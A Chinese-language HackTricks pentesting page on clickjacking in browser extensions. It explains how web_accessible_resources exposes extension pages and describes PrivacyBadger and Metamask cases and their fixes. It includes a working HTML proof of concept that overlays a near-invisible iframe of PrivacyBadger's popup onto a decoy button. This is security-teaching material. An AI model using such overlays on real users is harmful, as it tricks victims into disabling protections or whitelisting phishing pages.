hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

126 lines
6.7 KiB
Markdown
Raw Normal View History

# BrowExt - 点击劫持
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 基本信息
本页面将利用浏览器扩展中的点击劫持漏洞。\
如果您不知道什么是点击劫持,请查看:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
扩展包含文件**`manifest.json`**而该JSON文件具有一个字段`web_accessible_resources`。以下是[Chrome文档](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)对此的解释:
> 这些资源将通过URL **`chrome-extension://[PACKAGE ID]/[PATH]`** 在网页中可用,可以使用**`extension.getURL方法`**生成。经过白名单授权的资源将使用适当的CORS标头提供因此可以通过诸如XHR之类的机制访问。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
浏览器扩展中的**`web_accessible_resources`**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能:
- 更改扩展的状态
- 加载其他资源
- 在一定程度上与浏览器交互
然而,这个功能存在安全风险。如果**`web_accessible_resources`**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的无意用户可能会意外激活此嵌入式资源。根据扩展资源的权限和功能,此激活可能导致意想不到的后果。
## PrivacyBadger示例
在扩展程序PrivacyBadger中发现了一个与`skin/`目录声明为`web_accessible_resources`相关的漏洞,声明方式如下(查看原始[博客文章](https://blog.lizzie.io/clickjacking-privacy-badger.html):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
这种配置导致了潜在的安全问题。具体来说,`skin/popup.html` 文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能被嵌入到一个 `iframe` 中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危及用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示:[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)。
为了解决这个漏洞,实施了一个简单直接的解决方案:从 `web_accessible_resources` 列表中移除 `/skin/*`。这一变更有效地通过确保 `skin/` 目录的内容不能通过 web 可访问资源访问或操纵来减轻了风险。
修复方法很简单:**从 `web_accessible_resources` 中移除 `/skin/*`**。
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask Example
[**关于Metamask中ClickJacking的博文可以在这里找到**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。在这种情况下Metamask通过检查用于访问它的协议是否为**`https:`**或**`http:`**(例如不是**`chrome:`**)来修复了漏洞:
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
Metamask扩展中的**另一个ClickJacking漏洞**是用户可以在页面可疑被钓鱼时**点击以将其加入白名单**,因为存在`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`。由于该页面容易受到Clickjacking攻击攻击者可以滥用它显示正常内容使受害者在不知情的情况下点击将其加入白名单然后返回到被加入白名单的钓鱼页面。
## Steam Inventory Helper Example
查看以下页面,了解浏览器扩展中的**XSS**是如何与**ClickJacking**漏洞链接在一起的:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
## References
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>